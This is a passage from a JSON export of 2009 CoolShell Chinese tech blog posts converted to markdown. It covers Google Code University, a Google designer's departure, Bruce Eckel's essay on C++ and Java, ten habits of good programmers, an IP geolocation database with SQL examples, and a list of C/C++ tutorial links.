\n\n\n这样的治学和写作精神是值得我们学习的，同时也是其作品质量和易懂程度的保障。这样的精神在 [Donald Knuth](http://www-cs-faculty.stanford.edu/~knuth/) 在选择为教科书的符号系统和公式的排版上所做的努力中也是可以见到的。\n\n\n在这里推荐一下[Google Code University](http://code.google.com/edu/), 其中集合了一些计算机科学基础课程的国外大学讲义 （完全免费，组织甚好），其中包括了：数据结构，离散数学，分布式系统，自动机理论，计算机安全，图形学等。自己去探索一下吧。\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![我看ChatGPT: 为啥谷歌掉了千亿美金](../wp-content/uploads/2023/02/chatgpt-150x150.jpg)](https://coolshell.cn/articles/22398.html)[我看ChatGPT: 为啥谷歌掉了千亿美金](https://coolshell.cn/articles/22398.html)\n* [![Google Inbox如何跨平台重用代码？](../wp-content/uploads/2014/11/inbox2-640x264-150x150.jpg)](https://coolshell.cn/articles/12136.html)[Google Inbox如何跨平台重用代码？](https://coolshell.cn/articles/12136.html)\n* [![PFIF网上寻人协议](../wp-content/uploads/2013/04/Google-Person-Finder-150x150.png)](https://coolshell.cn/articles/9508.html)[PFIF网上寻人协议](https://coolshell.cn/articles/9508.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/2.jpg](https://coolshell.cn/articles/5815.html)[来信， 创业 和 移动互联网](https://coolshell.cn/articles/5815.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/24.jpg](https://coolshell.cn/articles/5701.html)[SteveY对Amazon和Google平台的吐槽](https://coolshell.cn/articles/5701.html)\n* [![一些文章和各种资源](../wp-content/uploads/2011/09/image008-150x150.jpg)](https://coolshell.cn/articles/5224.html)[一些文章和各种资源](https://coolshell.cn/articles/5224.html)\nThe post [资源推荐: Google Code University](https://coolshell.cn/articles/35.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2009-3-21 一位离开Google的设计师离职感言的读后感.md",
    "content": "---\nlayout: post\ntitle: 一位离开Google的设计师离职感言的读后感\ndate: 2009/3/21/ 13:47:5\nupdated: 2009/3/21/ 13:47:5\nstatus: publish\npublished: true\ntype: post\n---\n\nDouglas Bowman, 一位Google的设计师，3月20日离开了Google。他在自己的[博客](http://stopdesign.com/)上留了一篇[感言](http://stopdesign.com/archive/2006/05/27/going-to-google.html)\n\n\n很多人感兴趣Google是否是技术人员的天堂，也感兴趣Google有多少数据，更多人想撬开Google的创新引擎看看这个日渐庞大的企业如何能够保持特立独行的作风。本文不是关于这些，而是一个设计师的对Google的理解。\n\n\n摘要：\n\n\n\n> 当一个公司里没有一个透彻理解“设计的原则和元素”的领军人物时，很快这个公司就会在作出设计决定上感到枯竭。（原文：Without a person at (or near) the helm who thoroughly understands the [principles and elements of Design](http://en.wikipedia.org/wiki/Design_principles_and_elements), a company eventually runs out of reasons for design decisions.）\n> \n> \n\n\n\n> 我感激Google工作的机会，学习很多，很好的食物…但我不会想念那被数据随意斩杀的设计理念。（原文：I’m thankful for the opportunity I had to work at Google. I learned more than I thought I would. I’ll miss the free food. I’ll miss the occasional massage. I’ll miss the authors, politicians, and celebrities that come to speak or perform. I’ll miss early chances to play with cool toys before they’re released to the public. Most of all, I’ll miss working with the incredibly smart and talented people I got to know there. But I won’t miss a design philosophy that lives or dies strictly by the sword of data.）\n> \n> \n\n\n\n这个不得不让我们对于如何做出好的设计有些思考，尤其是我们多大程度上应该依赖数据，尤其是对数据的解释。正如剑桥大学的一篇关于[统计数据研讨会新闻报道](http://www.admin.cam.ac.uk/news/dp/2009031701)中说道：\n\n\n\n> 统计数据是重要的，能够帮助我们做出日常判断甚至是预测将来提供依据，但是统计数据也是非常无聊的，而且容易被别有用心的人歪曲。（原文：Statistics are essential, from helping us to make choices in our day to day lives to predicting what might happen in the future, but often they are boring and can be manipulated to serve a particular purpose.）\n> \n> \n\n\n这也同时让我们想到了《[怎样做一个Program Manager](https://coolshell.cn/articles/76.html)》 中所引述的，其实很多时候，需求和决定来自看似非常繁杂和近似混乱的沟通。\n\n\n综合这些，以及我们对一般（非互联网）产品的设计的理解，我们仍然有理由相信，（互联网）的产品需要来自经验的直觉指导大胆而创新的改变；而此经验的获得和对数据快速反应的能力，来自一种叫做 strategic thinking 的能力。对于strategic thinking, 坦率的说是因为词汇匮乏，也更像是一种 quality without a name。\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/21.jpg](https://coolshell.cn/articles/753.html)[不要拯救那些职场上的“无可救药”](https://coolshell.cn/articles/753.html)\n* [![Go编程模式：Map-Reduce](../wp-content/uploads/2020/12/go.map_.reduce-150x150.png)](https://coolshell.cn/articles/21164.html)[Go编程模式：Map-Reduce](https://coolshell.cn/articles/21164.html)\n* [![微软用新浪来当反面教材](../wp-content/uploads/2011/03/affc-image1-150x150.png)](https://coolshell.cn/articles/3872.html)[微软用新浪来当反面教材](https://coolshell.cn/articles/3872.html)\n* [![从“黑掉Github”学Web安全开发](../wp-content/uploads/2014/02/Github-Security-150x150.png)](https://coolshell.cn/articles/11021.html)[从“黑掉Github”学Web安全开发](https://coolshell.cn/articles/11021.html)\n* [![编程时间分配图](../wp-content/uploads/2010/09/Time-Allocation-while-Programming-150x150.png)](https://coolshell.cn/articles/2990.html)[编程时间分配图](https://coolshell.cn/articles/2990.html)\n* [![如何超过大多数人](../wp-content/uploads/2019/06/competition-360x200-1-150x150.png)](https://coolshell.cn/articles/19464.html)[如何超过大多数人](https://coolshell.cn/articles/19464.html)\nThe post [一位离开Google的设计师离职感言的读后感](https://coolshell.cn/articles/208.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2009-3-22 C++和JAVA传统中积极的一面.md",
    "content": "---\nlayout: post\ntitle: C++和JAVA传统中积极的一面\ndate: 2009/3/22/ 13:29:39\nupdated: 2009/3/22/ 13:29:39\nstatus: publish\npublished: true\ntype: post\n---\n\n**[![bruceeckel](../wp-content/uploads/2009/03/bruceeckel.jpg \"bruceeckel\")](https://coolshell.cn/wp-content/uploads/2009/03/bruceeckel.jpg)译者注**：\n\n\n本文翻译自Bruce Eckel（《Thinking in C++》& 《Thinking in Java》作者）的博文，该博文于2009年03月14日发表于：\n\n\n<http://www.artima.com/weblogs/viewpost.jsp?thread=252441>\n\n\n本文的发表引起了互联网上热烈的讨论，关于讨论大家可以到[这里](http://www.artima.com/forums/flat.jsp?forum=106&thread=252441)围观。\n\n\n下面是原文。原名《**The Positive Legacy of C++ and Java**》\n\n\n**摘要：**\n\n\n在最近的讨论中，有些人断定C++并不是一个设计完美的语言。在我在C++标准委员那8年里，我目睹所有关于C++的决议的诞生。我希望本文有助于帮读者理解C++和JAVA的设计选择，从而可以让大家更全面的来看待他们。  \n\n\n\n\n有人说，我很少再使用C++。当我使用C++时，我只是为了测试一下陈旧的代码，或者写一个和性能密切相关的程序，通常这个程序非常小，并且通过其他的语言来调用。(我喜欢的做法是，用Python快速开发一个程序，用profile辅助程序对其进行性能优化，如果需要的话，通过Python的ctypes调用C++写的程序来改善性能)。\n\n\n因为我曾经是C++标准委员会的一员，我目睹了这些决议的产生。这些C++决议都是在经过超级深思熟虑的考虑之后在做出，他们远比大多数Java的决议更为谨慎小心。\n\n\n然而，就像有些人准确地指出那样，C++是复杂而难于使用的，并且充满了各种个样容易让人忘记的古怪的规则。当我在写书的时候，我只能从规范中找到这些规则的说明，而不是自己能记住这些规则。\n\n\n为了让人们理解C++这门语言如何即难用、复杂，同时还要有良好的设计，你必须记住一条C++中最主要的设计原则——兼容C语言。这是Stroupstru最正确的决定，这样做将会出现一条让大量的C程序员通向C++程序的捷径：这条捷径允许C程序员不需要做任何修改就可以在C++下编译程序。然而，这也成为了C++语言巨大的约束，它给C++带来了强大的力量，同时也给C++带来了无尽的痛楚。正是因为这个约束导致了C++如此的成功，并且也如此的复杂。\n\n\n这些C++古怪的条约使那些没有完全了解C++的Java的设计者们犯了傻。例如，他们认为程序员能用好操作符重载将会是非常困难的一件事。但是操作符重载在C++中却是必须的，因为在C++中有栈分配，同时又有堆上的分配，你只有通过重载好操作符来处理好不同类型的内存分配，并保证不会产生内存泄漏，的确是难！但对Java来说，因为Java只有单一的一种内存分配机制（**译者注：**Java基本上是采用堆分配）和垃圾回收机制，这样操作符重载在Java中就变得多余（正如C#的操作符重载，和更早之前的Python操作重载，但是Python出现的要比Java早）。但是多年以来，来自Java的团队就一致认为“操作符重载太过复杂”。这一决议或其他的一些Java决议，明显说明了很多Java的设计者在做出决议的时候没有做足自己的工作，这也是为什么我有了一个藐视由Gosling和他的Java团队所做决议的名声。\n\n\n同样还有太多太多的例子，基本类型“因为性能原因被引入”。真正的原因是为了坚持“所有都是对象”，并且同时为底层具有效率要求的程序提供一个后门（同时这也使得一些热点技术执行起来更有效率）。噢，但是事实是，你没有办法直接使用浮点处理器来进行超越函数的计算（**译者注：**[Transcendental Functions](http://en.wikipedia.org/wiki/Transcendental_function) ，一种微积分的函数），而只能使用软件来计算，但原本这类函数就可以使用浮点计算处理器来计算的。我尽我所能将类似这样的问题罗列出来，但是我听到的结果却总是那些无用的回答“这就是Java的方式”。\n\n\n当我写下泛型是个如何糟糕的设计时，我得到了同样的回应，“我们必须兼容之前的（糟糕的）Java的决议”。最后越来越多的人们获得了足够关于泛型是多难用的经验——的确，C++的泛型更强大，一致性更好（尤其现在当编译器的错误信息越来越清晰后，泛型也比以前更好使用），因为Java泛型设计很差，很难，所以人们又开始回到认真对待具现化而不是泛型，当然，这对语言是有帮助的，因为具现化这个东西并不会消弱太多的语言设计，也不会因为这些自我限制而导致语言缺陷。\n\n\n那个Java的问题列表在这些沉闷的回应面前只能显得单调乏味。那么，是不是这样就意味着Java是失败的语言设计呢？绝对不是，Java将主流程序员带入到了一个垃圾收集器、虚拟机、一致的错误处理模型的世界(如果你不使用异常处理，这类异常可能是非常有用的异常，正如我在《Think in Java 》4ed中演示的那样)。伴随着它设计上种种缺陷，Java把我们带领到了一个更高的层次，在这个层次上我们正在准备着迎接更为高级别的语言。\n\n\n另一个观点，人们一直认为C++是语言中的先驱，许多人也认为Java是语言的先驱。但是因为虚拟机，Java使得自己更容易被别的语言替代。现在任何人都有可能快速创建一门新的语言，并且和Java具有一样的效率；而以前，要得到一个正确的，有效率的编译器花去了开发一门新语言的大部分时间。\n\n\n现在，我们正在见证这一切的发生——不管是更高级的静态语言，例如Scala，或者说是动态语言（**译者注**：Dynamic Language，如Python或Ruby），不管是新的还是移植的，例如Groovy ，JRuby和Jython。这就是未来的趋势，并且其过度将会非常的平滑，因为你可以在已有的Java代码中使用这些新语言，如果有需要，你甚至可以重写Java中产生有性能瓶颈的地方。\n\n\n正如C++会消亡一样，Java自生有可能消亡，或着被用于特殊环境之下（或仅仅是为了支持以前遗留的代码，因为Java并不像C++那样会被用于硬件编程）。但是Java 真正的亮点，也是意料之外的收获，就是如果当Java已经到了自身没法在进化的地步时，Java已经为其替代者创建一条平滑之路。所有未来的语言都将从这里学到：要么为自己创建一种可以不断重构(进化)(正如Python和Ruby做的那样)的文化，要么就让其竞争者发展壮大。\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![Rust语言的编程范式](../wp-content/uploads/2020/03/rust-social-wide-150x150.jpg)](https://coolshell.cn/articles/20845.html)[Rust语言的编程范式](https://coolshell.cn/articles/20845.html)\n* [![程序员练级攻略（2018)  与我的专栏](../wp-content/uploads/2018/05/300x262-150x150.jpg)](https://coolshell.cn/articles/18360.html)[程序员练级攻略（2018) 与我的专栏](https://coolshell.cn/articles/18360.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/7.jpg](https://coolshell.cn/articles/8088.html)[对技术的态度](https://coolshell.cn/articles/8088.html)\n* [![C++的坑真的多吗？](../wp-content/uploads/2012/08/cpp_small-150x150.jpg)](https://coolshell.cn/articles/7992.html)[C++的坑真的多吗？](https://coolshell.cn/articles/7992.html)\n* [![那些曾伴我走过编程之路的软件](../wp-content/uploads/2011/10/00.QuickBasic_PDS_IDE-150x150.png)](https://coolshell.cn/articles/5576.html)[那些曾伴我走过编程之路的软件](https://coolshell.cn/articles/5576.html)\n* [![程序员技术练级攻略](../wp-content/uploads/2011/07/programmer-150x150.png)](https://coolshell.cn/articles/4990.html)[程序员技术练级攻略](https://coolshell.cn/articles/4990.html)\nThe post [C++和JAVA传统中积极的一面](https://coolshell.cn/articles/209.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2009-3-22 优秀程序员的十个习惯.md",
    "content": "---\nlayout: post\ntitle: 优秀程序员的十个习惯\ndate: 2009/3/22/ 3:34:8\nupdated: 2009/3/22/ 3:34:8\nstatus: publish\npublished: true\ntype: post\n---\n\n![](../wp-content/uploads/2009/03/icon_gear.png)在这个世界上，有数百万的人热衷于软件开发，他们有很多名字，如：软件工程师（Software Engineer），程序员（Programmer），编码人（Coder），开发人员（Developer）。经过一段时间后，这些人也许能够成为一个优秀的编码人员，他们会非常熟悉如何用计算机语言来完成自己的工作。但是，如果你要成为一个优秀的程序员，你还可以需要有几件事你需要注意，如果你能让下面十个条目成为你的习惯，那么你才能真正算得上是优秀程序员。\n\n\n1. **学无止境**。就算是你有了10年以上的程序员经历，你也得要使劲地学习，因为你在计算机这个充满一创造力的领域，每天都会有很多很多的新事物出现。你需要跟上时代的步伐。你需要去了解新的程序语言，以及了解正在发展中的程序语言，以及一些编程框架。还需要去阅读一些业内的新闻，并到一些热门的社区去参与在线的讨论，这样你才能明白和了解整个软件开发的趋势。在国内，一些著名的社区例如：CSDN，ITPUB，CHINAUINX等等，在国外，建议你经常上一上digg.com去看看各种BLOG的聚合。\n\n\n\n2. **掌握多种语言**。程序语言总是有其最适合的领域。当你面对需要解决的问题时，你需要找到一个最适合的语言来解决这些问题。比如，如果你需要性能，可能C/C++是首选，如果你需要跨平台，可能Java是首选，如果你要写一个Web上的开发程序，那么PHP，ASP，Ajax，JSP可能会是你的选择，如果你要处理一些文本并和别的应用交互，可能Perl, Python会是最好的。所以，花一些时间去探索一下其它你并熟悉的程序语言，能让你的眼界变宽，因为你被武装得更好，你思考问题也就更为全面，这对于自己和项目都会有好的帮助。\n\n\n3. **理性面对不同的操作系统或技术**。程序员们总是有自己心目中无可比拟的技术和操作系统，有的人喜欢Ubuntu，有的人喜欢Debian，还有的人喜欢Windows，以及FreeBSD，MacOSX或Solaris等等。看看我的BLOG(<http://blog.csdn.net/haoel>)中的那篇《[其实Unix很简单](http://blog.csdn.net/haoel/archive/2007/03/19/1533720.aspx)》后的回复你就知道程序员们在维护起自己的忠爱时的那份执着了。只有一部分优秀的程序员明白不同操作系统的优势和长处和短处，这样，在系统选型的时候，才能做到真正的客观和公正，而不会让情绪影响到自己。同样，语言也是一样，有太多的程序员总是喜欢纠缠于语言的对比，如：Java和Perl。哪个刚刚出道的程序员没有争论去类似的话题呢？比如VC++和Delphi等等。争论这些东西只能表明自己的肤浅和浮燥。优秀的程序并不会执着于这些，而是能够理性的分析和理心地面对，从而才能客观地做出正确的选择。\n\n\n4. **别把自己框在单一的开发环境中。** 再一次，正如上面所述，每个程序员都有自己忠爱的工具和技术，有的喜欢老的（比如我就喜欢Vi编辑程序），而有的喜欢新的比如gedit或是Emacs等。有的喜欢使用像VC++一样的图形界面的调试器，而我更喜欢GDB命令行方面的调式器。等等等等。程序员在使用什么样的工具上的争论还少吗？到处都是啊。使用什么样的工具本来无所谓，只要你能更好更快地达到你的目的。但是有一点是优秀程序员都应该了解的——那就是应该去尝试一下别的工作环境。没有比较，你永远不知道谁好谁不好，你也永远不知道你所不知道的。\n\n\n5. **使用版本管理工具管理你的代码。**千万不要告诉我你不知道源码的版本管理，如果你的团队开发的源代码并没有版本管理系统，那么我要告诉你，你的软件开发还处于石器时代。赶快使用一个版式本管理工具吧。CVS 是一个看上去平淡无奇的版本工具，但它是被使用最广的版本管理系统，Subversion 是CVS的一个升级版，其正在开始接管CVS的领地。Git 又是一个不同的版本管理工具。还有Visual SourceSafe等。使用什么样的版本管理工具依赖于你的团队的大小和地理分布，你也许正在使用最有效率或最没有效率的工具来管理你的源代码。但一个优秀的程序员总是会使用一款源码版本管理工具来管理自己的代码。如果你要我推荐一个，我推荐你使用开源的Subversion。\n\n\n6. **是一个优秀的团队成员。** 除非你喜欢独奏，除非你是孤胆英雄。但我想告诉你，今天，可能没有一个成熟的软件是你一个人能做的到的，你可能是你团队中最牛的大拿，但这并不意味着你就是好的团队成员。你的能力只有放到一个团队中才能施展开来。你在和你的团队成员交流中有礼貌吗？你是否经常和他们沟通，并且大家都喜欢和你在一起讨论问题？想一想一个足球队吧，你是这个队中好的成员吗？当别人看到你在场上的跑动时，当别人看到你的传球和接球和抢断时，你的团员成员能因为你的动作受到鼓舞吗？\n\n\n7. **把你的工作变成文档。** 这一条目当然包括了在代码中写注释，但那还仅仅不够，你还需要做得更多。有良好的注释风格的代码是一个文档的基础，他能够让你和你的团队容易的明白你的意图和想法。写下文档，并不仅仅是怕我们忘了当时的想法，而且还是一种团队的离线交流的方法，更是一种知识传递的方法。记录下你所知道的一切会是一个好的习惯。因为，我相信你不希望别人总是在你最忙的时候来打断你问问题，或是你在休假的时候接到公司的电话来询问你问题。而你自己如果老是守着自己的东西，其结果只可能是让你自己长时间地深陷在这块东西内，而你就更本不可以去做更多的事情。包括向上的晋升。你可能以为“教会徒弟能饿死师父”，但我告诉你，你的保守会让你失去更多更好的东西，请你相信我，我绝不是在这里耸人听闻。\n\n\n8. **注意备份和安全。** 可能你觉得这是一个“废话”，你已明白了备份的重要性。但是，我还是要在这里提出，丢失东西是我们人生中的一部份，你总是会丢东西，这点你永远无法避免。比如：你的笔记本电脑被人偷了，你的硬盘损坏了，你的电脑中病毒了，你的系统被人入侵了，甚至整个大楼被烧了，等等，等等。所以，做好备份工作是非常非常重要的事情，硬盘是不可信的，所以定期的刻录光盘或是磁带可能会是一个好的方法，网络也是不可信的，所以小心病毒和黑客，不但使用软件方面的安全策略，你更需要一个健全的管理制度。此外，尽量的让你的数据放在不同的地方，并做好定期（每日，每周，每月）的备份策略。\n\n\n9. **设计要足够灵活。** 可能你的需求只会要求你实现一个死的东西，但是，你作为一个优秀的程序，你应该随时在思考这个死的东西是否可以有灵活的一面，比如把一些参数变成可以配置的，把一些公用的东西形成你的函数库以便以后重用，是否提供插件方面的功能？你的模块是否要以像积木一样随意组合？如果要有修改的话，你的设计是否能够马上应付？当然，灵活的设计可能并不是要你去重新发明轮子，你应该尽可能是使用标准化的东西。所谓灵话的设计就是要让让考虑更多需求之外的东西，把需求中这一类的问题都考虑到，而不是只处理需求中所说的那一特定的东西。比如说，需要需要的屏幕分辨率是800×600，那么你的设计能否灵活于其他的分辨率？程序设计总是需要我们去处理不同的环境，以及未来的趋势。我们需要用动态的眼光去思考问题，而不是刻舟求剑。也许有一天，你今天写的程序就要移植到别的环境中去，那个时候你就能真正明白什么是灵活的设计了。\n\n\n10. **不要搬起石头砸自己的脚。**程序员总是有一种不好的习惯，那就是总是想赶快地完成自己手上的工作。但情况却往往事已愿违。越是想做得快，就越是容易出问题，越是想做得快，就越是容易遗漏问题，最终，程序改过来改过去，按下葫芦起了瓢，最后花费的时间和精力反而更多。欲速而不达。优秀程序员的习惯是前面多花一些时间多作一些调查，试验一下不同的解决方案，如果时间允许，一个好的习惯是，每4个小时的编程，需要一个小时的休息，然后又是4个小时的编码。当然，这因人而异，但其目的就是让你时常回头看看，让你想一想这样三个问题：1）是否这么做是对的？2）是否这么做考虑到了所有的情况？3）是否有更好的方法？想好了再说，时常回头看看走过的路，时常总结一下过去事，会对你有很大的帮助。\n\n\n以上是十条优秀程序员的习惯或行为规范，希望其可以对你有所帮助。\n\n\n本文来源于网上phil的BLOG，但我在写作过程中使用了自己的语言和方法重新描述了一下这十条，所以，我希望你在转载的时候能够注明作者和出处以表示对我的尊重。谢谢！\n\n\n文章：[来源](http://codepad.classhelper.org/top-ten-habits-of-successful-programmers/223/)\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![聊聊团队协同和协同工具](../wp-content/uploads/2022/10/communication-150x150.png)](https://coolshell.cn/articles/22298.html)[聊聊团队协同和协同工具](https://coolshell.cn/articles/22298.html)\n* [![“一把梭：REST API 全用 POST”](../wp-content/uploads/2022/02/http_method-150x150.png)](https://coolshell.cn/articles/22173.html)[“一把梭：REST API 全用 POST”](https://coolshell.cn/articles/22173.html)\n* [![谈谈公司对员工的监控](../wp-content/uploads/2022/02/monitoring-150x150.jpeg)](https://coolshell.cn/articles/22157.html)[谈谈公司对员工的监控](https://coolshell.cn/articles/22157.html)\n* [![如何做一个有质量的技术分享](../wp-content/uploads/2021/07/knowledge_sharing-300x169-1-150x150.jpeg)](https://coolshell.cn/articles/21589.html)[如何做一个有质量的技术分享](https://coolshell.cn/articles/21589.html)\n* [![程序员如何把控自己的职业](../wp-content/uploads/2020/08/programmer.01-e1596792460687-150x150.png)](https://coolshell.cn/articles/20977.html)[程序员如何把控自己的职业](https://coolshell.cn/articles/20977.html)\n* [![MegaEase的远程工作文化](../wp-content/uploads/2020/01/remote-150x150.jpg)](https://coolshell.cn/articles/20765.html)[MegaEase的远程工作文化](https://coolshell.cn/articles/20765.html)\nThe post [优秀程序员的十个习惯](https://coolshell.cn/articles/222.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2009-3-25 全球IP地址数据库.md",
    "content": "---\nlayout: post\ntitle: 全球IP地址数据库\ndate: 2009/3/25/ 9:59:52\nupdated: 2009/3/25/ 9:59:52\nstatus: publish\npublished: true\ntype: post\n---\n\n下面是一个免费的全球IP地址数据库，包括了国家，城市，地区，和经纬度，以便你可以利用Google Map在地图上标注。这个数据库的精确度可能有60%左右。\n\n\n[**SQL format**](http://www.blogama.org/ipinfodb.sql.bz2)  \n\n更新至 2009年3月11日\n\n\n[**CSV format**](http://www.blogama.org/ipinfodb_csv.zip) (多文件)  \n\n更新至 2009年3月11日\n\n\n下面是怎么使用这个数据库。\n\n\n\n首先，所有的IP地址都是按一个整形来存放的，假设一个IP地址为A.B.C.D，那么其计算公式如下所示：\n\n\nip = (A\\*256+B)\\*256+C\n\n\n也就是说，它只计算到网段为：A.B.C.0到A.B.C.255。例如：我们有一个IP地址为：74.125.45.100 (google.com)，那么，\n\n\nip = (74\\*256+125)\\*256+45 = 4881709\n\n\n这样，我们可以方便地使用如下的SQL语句搜索数据：\n\n\nSELECT \\* FROM `ip_group_city`  \n\nWHERE`ip_start` <= 4881709 ORDER BY ip\\_start DESC LIMIT 1;\n\n\n结果会是如下所示：\n\n\nip\\_start|country\\_code|region\\_code|city|zipcode|latitude|longitude  \n\n4881664|US|CA|Mountain View|94043|37.4192|-122.057\n\n\n如果你想在线使用这些数据的话，你可以使用如下所示的网址：\n\n\nhttp://blogama.org/ip\\_query.php?ip=74.125.45.100&output=xml\n\n\n于是，你就会得到如下的XML数据：\n\n\n<?xml version=“1.0” encoding=“UTF-8”?>  \n\n<Response>  \n\n<Ip>74.125.45.100</Ip>  \n\n<Status>OK</Status>  \n\n<CountryCode>US</CountryCode>  \n\n<CountryName>United States</CountryName>  \n\n<RegionCode>CA</RegionCode>  \n\n   \n\n<RegionName></RegionName>  \n\n<City>Mountain View</City>  \n\n<ZipPostalCode>94043</ZipPostalCode>  \n\n<Latitude>37.4192</Latitude>  \n\n<Longitude>-122.057</Longitude>  \n\n</Response>\n\n\n如果你请求的是：\n\n\n<http://blogama.org/ip_query.php?ip=74.125.45.100&output=raw>\n\n\n这样你会得到CSV的格式：\n\n\n74.125.45.100,OK,US,United States,CA,,Mountain View,94043,37.4192,-122.057\n\n\n文章：[来源](http://blogama.org/node/58)\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/8.jpg](https://coolshell.cn/articles/2631.html)[五大基于JVM的脚本语言](https://coolshell.cn/articles/2631.html)\n* [![Eclipse 3.6 （Helios）新特性](../wp-content/uploads/2010/07/Eclipse-3.6-6-150x150.bmp)](https://coolshell.cn/articles/2554.html)[Eclipse 3.6 （Helios）新特性](https://coolshell.cn/articles/2554.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/12.jpg](https://coolshell.cn/articles/688.html)[你能做对下面这些JavaScript的题吗？](https://coolshell.cn/articles/688.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/17.jpg](https://coolshell.cn/articles/1023.html)[Unix 40年：昨天，今天和明天](https://coolshell.cn/articles/1023.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/8.jpg](https://coolshell.cn/articles/8745.html)[如此理解面向对象编程](https://coolshell.cn/articles/8745.html)\n* [![伦敦地铁实时图](../wp-content/uploads/2010/06/London-Live-Train-Map-150x150.jpg)](https://coolshell.cn/articles/2520.html)[伦敦地铁实时图](https://coolshell.cn/articles/2520.html)\nThe post [全球IP地址数据库](https://coolshell.cn/articles/244.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2009-3-25 非常不错的编程技术教程.md",
    "content": "---\nlayout: post\ntitle: 非常不错的编程技术教程\ndate: 2009/3/25/ 5:52:48\nupdated: 2009/3/25/ 5:52:48\nstatus: publish\npublished: true\ntype: post\n---\n\n下面是一些非常不错的编程教程，当然，全是英文版的。不过因为是新手教程，所以非常容易阅读，可以在学习技术的同时加强一下自己的英语阅读能力。\n\n\n如果你是一个新手，建议你把本页设为你的收藏夹。  \n\n**C**   \n\n[Introduction to C Programming](http://devcentral.iftech.com/learning/tutorials/c-cpp/c/)   \n\n[C Optimization Tutorial](http://www.abarnett.demon.co.uk/tutorial.html)   \n\n[Compiling C and C++ Programs on UNIX Systems – gcc/g++](http://www.actcom.co.il/~choo/lupg/tutorials/c-on-unix/c-on-unix.html)   \n\n[Building and Using Static and Shared C Libraries](http://www.actcom.co.il/~choo/lupg/tutorials/libraries/unix-c-librarieshtml)   \n\n[Programming in C: UNIX System Calls and Subroutines Using C](http://www.cm.cf.ac.uk/Dave/C/CE.html)   \n\n[C FAQ](http://www.eskimo.com/~scs/C-faq/top.html)   \n\n[C Programming Class Notes](http://www.eskimo.com/~scs/cclass/cclass.html)   \n\n[ANSI C for Programmers on UNIX Systems](http://www.gustavo.net/programming/c__tutorials.shtml)   \n\n[Sams Teach Yourself C in 24 Hours](http://www.informit.com/product/0672310686/)   \n\n[Sams Teach Yourself C in 21 Days (4th Ed.)](http://www.informit.com/product/0672310694/)   \n\n[The Standard C Library for Linux – Part 1: file functions](http://www.linuxgazette.com/issue24/rogers.html)   \n\n[The Standard C Library for Linux – Part 2: character input/output](http://www.linuxgazette.com/issue31/rogers1.html)   \n\n[The Standard C Library for Linux – Part 3: formatted input/output](http://www.linuxgazette.com/issue32/rogers.html)   \n\n[The Standard C Library for Linux – Part 4: Character Handling](http://www.linuxgazette.com/issue38/rogers.html)   \n\n[The Standard C Library for Linux – Part 5: Miscellaneous Functions](http://www.linuxgazette.com/issue39/rogers.html)   \n\n[Programming in C: A Tutorial](http://www.lysator.liu.se/c/bwk-tutor.html)   \n\n[An Introduction to C Development on Linux](http://www.redhat.com/devnet/whitepapers/intro_dev/index.html)   \n\n[C Programming Course](http://www.strath.ac.uk/CC/Courses/CCourse/CCourse.html)   \n\n[C Language Tutorial](http://www.swcp.com/~dodrill/cdoc/clist.htm)   \n\n[CScene: An Online Magazine for C and C++ Programming](http://www.syclus.com/cscene/)   \n\n  \n\n**C++**   \n\n[C++ Tutorial](http://computers.iwz.com/prog/cpp/)   \n\n[Understanding C++: An Accelerated Introduction](http://devcentral.iftech.com/learning/tutorials/c-cpp/cpp/)   \n\n[An Introduction to C++ Class Hierarchies](http://devcentral.iftech.com/learning/tutorials/c-cpp/sst/)   \n\n[G++ FAQ](http://egcs.cygnus.com/onlinedocs/g++FAQ_toc.html)   \n\n[Introduction to Object-Oriented Programming Using C++](http://uu-gna.mit.edu:8001/uu-gn/atext/cc/)   \n\n[Compiling C and C++ Programs on UNIX Systems – gcc/g++](http://www.actcom.co.il/~choo/lupg/tutorials/c-on-unix/c-on-unix.html)   \n\n[C++ FAQ Lite](http://www.cerfnet.com/~mpcline/c++-faq-lite/)   \n\n[C++ Programming Language Tutorials](http://www.cs.wustl.edu/~schmidt/C++/index.html)   \n\n[Reducing Dependencies in C++](http://www.flipcode.com/tutorials/tut_cppdepend.shtml)   \n\n[C++ Exception Handling](http://www.flipcode.com/tutorials/tut_exceptions.shtml)   \n\n[Part 1: Unicode](http://www.flipcode.com/tutorials/tut_strings01.shtml)   \n\n[Part 2: A Complete String Class](http://www.flipcode.com/tutorials/tut_strings02.shtml)   \n\n[Making C++ Loadable Modules Work](http://www.informatik.uni-frankfurt.de/~fp/Tcl/tcl-c++/)   \n\n[Sams Teach Yourself C++ in 21 Days (2nd 